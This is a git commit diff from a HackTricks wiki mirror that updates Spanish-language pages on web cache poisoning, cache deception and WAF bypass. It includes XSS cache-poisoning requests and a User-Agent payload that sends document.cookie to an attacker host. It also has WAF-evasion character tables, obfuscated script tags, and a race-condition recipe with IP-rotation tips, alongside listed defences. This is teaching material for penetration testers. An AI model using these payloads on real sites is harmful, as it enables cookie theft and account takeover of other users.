mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p
This commit is contained in:
Translator
parent
07c737a5af
commit
421639349a
@ -41,16 +41,16 @@ Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Elicit a harmful response from the back-end server
|
||||
### Elicitar una respuesta dañina del servidor back-end
|
||||
|
||||
Con el parámetro/cabecera identificado, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
|
||||
Con el parámetro/cabecera identificada, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
|
||||
|
||||
### Get the response cached
|
||||
### Obtener la respuesta en caché
|
||||
|
||||
Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de almacenar en caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos.
|
||||
Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de obtener en la caché, esto podría tardar un tiempo, podrías necesitar intentarlo durante varios segundos.
|
||||
|
||||
La cabecera **`X-Cache`** en la respuesta podría ser muy útil ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\
|
||||
La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800`
|
||||
La cabecera **`X-Cache`** en la respuesta podría ser muy útil, ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\
|
||||
La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso se almacenará en caché de nuevo: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.
|
||||
|
||||
@ -58,9 +58,9 @@ Una cabecera más relacionada con la caché es **`Age`**. Define el tiempo en se
|
||||
|
||||
Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** porque algunas de ellas podrían ser **usadas inesperadamente** como **indexadas** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Cache Poisoning con **diferentes navegadores** para verificar si está funcionando.
|
||||
|
||||
## Exploiting Examples
|
||||
## Ejemplos de Explotación
|
||||
|
||||
### Easiest example
|
||||
### Ejemplo más fácil
|
||||
|
||||
Una cabecera como `X-Forwarded-For` se está reflejando en la respuesta sin sanitizar.\
|
||||
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean XSSed:
|
||||
@ -93,11 +93,11 @@ GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
Tenga en cuenta que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.
|
||||
Nota que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.
|
||||
|
||||
### Generando discrepancias con delimitadores, normalización y puntos <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Verifique:
|
||||
Verifica:
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar a dónde apunta la página por el redireccionamiento.
|
||||
A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -142,25 +142,61 @@ Content-Length: 22
|
||||
|
||||
report=innocent-victim
|
||||
```
|
||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
Hay un laboratorio de Portswigger sobre esto: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Ocultación de Parámetros
|
||||
|
||||
Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros no clave dentro de parámetros clave y abusar de ellos.
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
Laboratorio de Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Explotación de la Poisoning de Caché HTTP abusando de HTTP Request Smuggling
|
||||
### Explotación de la Contaminación de Caché HTTP abusando del HTTP Request Smuggling
|
||||
|
||||
Aprende aquí cómo realizar [ataques de Cache Poisoning abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
Aprende aquí cómo realizar [ataques de Contaminación de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Pruebas automatizadas para Cache Poisoning
|
||||
### Pruebas Automatizadas para la Contaminación de Caché Web
|
||||
|
||||
El [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) se puede usar para probar automáticamente la poisoning de caché web. Soporta muchas técnicas diferentes y es altamente personalizable.
|
||||
El [Escáner de Vulnerabilidades de Caché Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) se puede usar para probar automáticamente la contaminación de caché web. Soporta muchas técnicas diferentes y es altamente personalizable.
|
||||
|
||||
Ejemplo de uso: `wcvs -u example.com`
|
||||
|
||||
## Ejemplos Vulnerables
|
||||
### XSS de reflexión de encabezado + siembra de caché asistida por CDN/WAF (User-Agent, .js auto-cacheado)
|
||||
|
||||
Este patrón del mundo real encadena un primitivo de reflexión basado en encabezados con el comportamiento de CDN/WAF para contaminar de manera confiable el HTML en caché servido a otros usuarios:
|
||||
|
||||
- El HTML principal reflejó un encabezado de solicitud no confiable (por ejemplo, `User-Agent`) en un contexto ejecutable.
|
||||
- El CDN eliminó los encabezados de caché, pero existía un caché interno/origin. El CDN también auto-cacheó solicitudes que terminaban en extensiones estáticas (por ejemplo, `.js`), mientras que el WAF aplicó una inspección de contenido más débil a los GET para activos estáticos.
|
||||
- Las peculiaridades del flujo de solicitudes permitieron que una solicitud a una ruta `.js` influyera en la clave/variante de caché utilizada para el HTML principal subsiguiente, habilitando XSS entre usuarios a través de la reflexión de encabezados.
|
||||
|
||||
Receta práctica (observada en un popular CDN/WAF):
|
||||
|
||||
1) Desde una IP limpia (evitar degradaciones basadas en reputación previas), establece un `User-Agent` malicioso a través del navegador o Burp Proxy Match & Replace.
|
||||
2) En Burp Repeater, prepara un grupo de dos solicitudes y usa "Enviar grupo en paralelo" (el modo de paquete único funciona mejor):
|
||||
- Primera solicitud: GET a una ruta de recurso `.js` en el mismo origen mientras envías tu `User-Agent` malicioso.
|
||||
- Inmediatamente después: GET a la página principal (`/`).
|
||||
3) La carrera de enrutamiento CDN/WAF más el `.js` auto-cacheado a menudo siembra una variante de HTML en caché contaminada que luego se sirve a otros visitantes que comparten las mismas condiciones de clave de caché (por ejemplo, las mismas dimensiones `Vary` como `User-Agent`).
|
||||
|
||||
Ejemplo de carga útil de encabezado (para exfiltrar cookies no HttpOnly):
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
Consejos operativos:
|
||||
|
||||
- Muchos CDNs ocultan los encabezados de caché; la contaminación puede aparecer solo en ciclos de actualización de varias horas. Utiliza múltiples IPs de vantage y limita la velocidad para evitar desencadenar límites de tasa o problemas de reputación.
|
||||
- Usar una IP de la propia nube del CDN a veces mejora la consistencia del enrutamiento.
|
||||
- Si hay una CSP estricta presente, esto aún funciona si la reflexión se ejecuta en el contexto HTML principal y la CSP permite la ejecución en línea o se elude por el contexto.
|
||||
|
||||
Impacto:
|
||||
|
||||
- Si las cookies de sesión no son `HttpOnly`, es posible un ATO de un clic al exfiltrar masivamente `document.cookie` de todos los usuarios a los que se les sirve el HTML contaminado.
|
||||
|
||||
Defensas:
|
||||
|
||||
- Deja de reflejar los encabezados de solicitud en HTML; codifica estrictamente el contexto si es inevitable. Alinea las políticas de caché del CDN y del origen y evita variar en encabezados no confiables.
|
||||
- Asegúrate de que el WAF aplique la inspección de contenido de manera consistente a las solicitudes `.js` y rutas estáticas.
|
||||
- Establece `HttpOnly` (y `Secure`, `SameSite`) en las cookies de sesión.
|
||||
|
||||
## Ejemplos vulnerables
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
@ -172,23 +208,23 @@ Enviar un valor incorrecto en el encabezado content-type activó una respuesta 4
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab utiliza buckets de GCP para almacenar contenido estático. **GCP Buckets** soporta el **encabezado `x-http-method-override`**. Así que era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`.
|
||||
GitLab utiliza buckets de GCP para almacenar contenido estático. **Los Buckets de GCP** admiten el **encabezado `x-http-method-override`**. Por lo tanto, era posible enviar el encabezado `x-http-method-override: HEAD` y contaminar la caché para que devolviera un cuerpo de respuesta vacío. También podría admitir el método `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
En aplicaciones Ruby on Rails, a menudo se utiliza Rack middleware. El propósito del código Rack es tomar el valor del encabezado **`x-forwarded-scheme`** y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado `x-forwarded-scheme: http`, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.
|
||||
En aplicaciones Ruby on Rails, a menudo se utiliza middleware Rack. El propósito del código Rack es tomar el valor del encabezado **`x-forwarded-scheme`** y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado `x-forwarded-scheme: http`, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.
|
||||
|
||||
### 403 y Buckets de Almacenamiento
|
||||
|
||||
Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché respuestas 403, este comportamiento podría seguir presente en otros servicios proxy.
|
||||
Cloudflare anteriormente almacenaba en caché las respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché las respuestas 403, este comportamiento podría seguir presente en otros servicios de proxy.
|
||||
|
||||
### Inyección de Parámetros Clave
|
||||
|
||||
Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro `size` en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, `siz%65`) con un valor erróneo, la clave de caché se construiría usando el parámetro `size` correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. Codificar en URL el segundo parámetro `size` llevó a su omisión por parte de la caché, pero su utilización por parte del backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que se podía almacenar en caché.
|
||||
Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro `size` en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, `siz%65`) con un valor erróneo, la clave de caché se construiría utilizando el parámetro `size` correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. La codificación en URL del segundo parámetro `size` llevó a su omisión por parte de la caché, pero su utilización por parte del backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que se podía almacenar en caché.
|
||||
|
||||
### Reglas de User Agent
|
||||
|
||||
Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con los de herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como la poisoning de caché y DoS.
|
||||
Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con los de herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como la contaminación de caché y DoS.
|
||||
|
||||
### Campos de Encabezado Ilegales
|
||||
|
||||
@ -198,11 +234,11 @@ El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los carac
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Decepción de Caché
|
||||
## Engaño de Caché
|
||||
|
||||
El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**.
|
||||
El objetivo del Engaño de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**.
|
||||
|
||||
Primero que nada, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc. suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
|
||||
Primero, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
|
||||
|
||||
Otras cosas para probar:
|
||||
|
||||
@ -214,16 +250,16 @@ Otras cosas para probar:
|
||||
- _Usa extensiones menos conocidas como_ `.avif`
|
||||
|
||||
Otro ejemplo muy claro se puede encontrar en este informe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
En el ejemplo, se explica que si cargas una página no existente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\
|
||||
En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\
|
||||
Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes.
|
||||
|
||||
Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_).
|
||||
|
||||
Aprende aquí cómo realizar [ataques de Decepción de Caché abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
Aprende aquí cómo realizar [ataques de Engaño de Caché abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Herramientas Automáticas
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Escáner de Golang para encontrar vulnerabilidades de poisoning de caché web en una lista de URLs y probar múltiples técnicas de inyección.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Escáner de Golang para encontrar vulnerabilidades de contaminación de caché web en una lista de URLs y probar múltiples técnicas de inyección.
|
||||
|
||||
## Referencias
|
||||
|
||||
@ -233,6 +269,8 @@ Aprende aquí cómo realizar [ataques de Decepción de Caché abusando de HTTP R
|
||||
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
|
||||
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
|
||||
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
|
||||
- [Cómo encontré un 0-Clic de toma de cuenta en un BBP público y lo aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,9 +1,9 @@
|
||||
# Proxy / Bypass de Protecciones WAF
|
||||
# Proxy / WAF Protections Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Bypass de Reglas ACL de Nginx con Manipulación de Nombres de Ruta <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
Técnicas [de esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
@ -22,32 +22,32 @@ Para prevenir bypasses, Nginx realiza la normalización de rutas antes de verifi
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Versión de Nginx | **Caracteres de Bypass de Node.js** |
|
||||
| ---------------- | ----------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
| ---------------- | ------------------------------------ |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Versión de Nginx | **Caracteres de Bypass de Flask** |
|
||||
| ---------------- | ------------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Versión de Nginx | **Caracteres de Bypass de Spring Boot** |
|
||||
| ---------------- | ---------------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
@ -85,7 +85,7 @@ Algo similar ocurrió en la versión 2 de Mod Security que permitió eludir una
|
||||
|
||||
### Encabezado Malformado
|
||||
|
||||
[Esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible eludir las reglas de AWS WAF aplicadas sobre encabezados HTTP enviando un encabezado "malformado" que no fue analizado correctamente por AWS pero sí por el servidor backend.
|
||||
[Esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible eludir las reglas de AWS WAF aplicadas sobre encabezados HTTP enviando un encabezado "malformado" que no fue analizado correctamente por AWS, pero sí por el servidor backend.
|
||||
|
||||
Por ejemplo, enviando la siguiente solicitud con una inyección SQL en el encabezado X-Query:
|
||||
```http
|
||||
@ -102,15 +102,15 @@ Fue posible eludir AWS WAF porque no entendía que la siguiente línea es parte
|
||||
|
||||
### Límites de tamaño de solicitud
|
||||
|
||||
Comúnmente, los WAF tienen un límite de longitud de solicitudes a verificar y si una solicitud POST/PUT/PATCH supera este límite, el WAF no revisará la solicitud.
|
||||
Comúnmente, los WAF tienen un cierto límite de longitud de solicitudes para verificar y si una solicitud POST/PUT/PATCH supera este límite, el WAF no revisará la solicitud.
|
||||
|
||||
- Para AWS WAF, puedes [**consultar la documentación**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para protecciones de Application Load Balancer y AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para las protecciones de Application Load Balancer y AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para las protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- De [**documentación de Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
- De [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Los cortafuegos de aplicaciones web más antiguos con el Conjunto de Reglas Básicas 3.1 (o inferior) permiten mensajes más grandes de **128 KB** al desactivar la inspección del cuerpo de la solicitud, pero estos mensajes no serán revisados en busca de vulnerabilidades. Para versiones más nuevas (Conjunto de Reglas Básicas 3.2 o más recientes), se puede hacer lo mismo desactivando el límite máximo del cuerpo de la solicitud. Cuando una solicitud excede el límite de tamaño:
|
||||
Los cortafuegos de aplicaciones web más antiguos con el Conjunto de Reglas Básicas 3.1 (o inferior) permiten mensajes más grandes que **128 KB** al desactivar la inspección del cuerpo de la solicitud, pero estos mensajes no serán revisados en busca de vulnerabilidades. Para versiones más nuevas (Conjunto de Reglas Básicas 3.2 o más recientes), se puede hacer lo mismo desactivando el límite máximo del cuerpo de la solicitud. Cuando una solicitud excede el límite de tamaño:
|
||||
|
||||
Si **modo de prevención**: Registra y bloquea la solicitud.\
|
||||
Si **modo de detección**: Inspecciona hasta el límite, ignora el resto y registra si el `Content-Length` excede el límite.
|
||||
@ -123,7 +123,24 @@ Por defecto, el WAF inspecciona solo los primeros 8KB de una solicitud. Puede au
|
||||
|
||||
Hasta 128KB.
|
||||
|
||||
### Ofuscación <a href="#obfuscation" id="obfuscation"></a>
|
||||
### Brechas de inspección de activos estáticos (.js GETs)
|
||||
|
||||
Algunas pilas de CDN/WAF aplican una inspección débil o nula del contenido a las solicitudes GET para activos estáticos (por ejemplo, rutas que terminan en `.js`), mientras que aún aplican reglas globales como limitación de tasa y reputación de IP. Combinado con el auto-caché de extensiones estáticas, esto puede ser abusado para entregar o sembrar variantes maliciosas que afectan las respuestas HTML subsiguientes.
|
||||
|
||||
Casos de uso prácticos:
|
||||
|
||||
- Enviar cargas útiles en encabezados no confiables (por ejemplo, `User-Agent`) en un GET a una ruta `.js` para evitar la inspección de contenido, luego solicitar inmediatamente el HTML principal para influir en la variante en caché.
|
||||
- Usar una IP fresca/limpia; una vez que una IP es marcada, los cambios de enrutamiento pueden hacer que la técnica sea poco confiable.
|
||||
- En Burp Repeater, usar "Enviar grupo en paralelo" (estilo de paquete único) para competir entre las dos solicitudes (`.js` luego HTML) a través de la misma ruta de front-end.
|
||||
|
||||
Esto se combina bien con la contaminación de caché por reflexión de encabezados. Ver:
|
||||
|
||||
- {{#ref}}
|
||||
cache-deception/README.md
|
||||
{{#endref}}
|
||||
- [Cómo encontré una toma de control de cuenta 0-Click en un BBP público y la aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### Ofuscación <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
```bash
|
||||
# IIS, ASP Clasic
|
||||
<%s%cr%u0131pt> == <script>
|
||||
@ -133,7 +150,7 @@ Hasta 128KB.
|
||||
```
|
||||
### Compatibilidad de Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
Dependiendo de la implementación de la normalización de Unicode (más información [aquí](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), los caracteres que comparten compatibilidad de Unicode pueden ser capaces de eludir el WAF y ejecutarse como la carga útil prevista. Los caracteres compatibles se pueden encontrar [aquí](https://www.compart.com/en/unicode).
|
||||
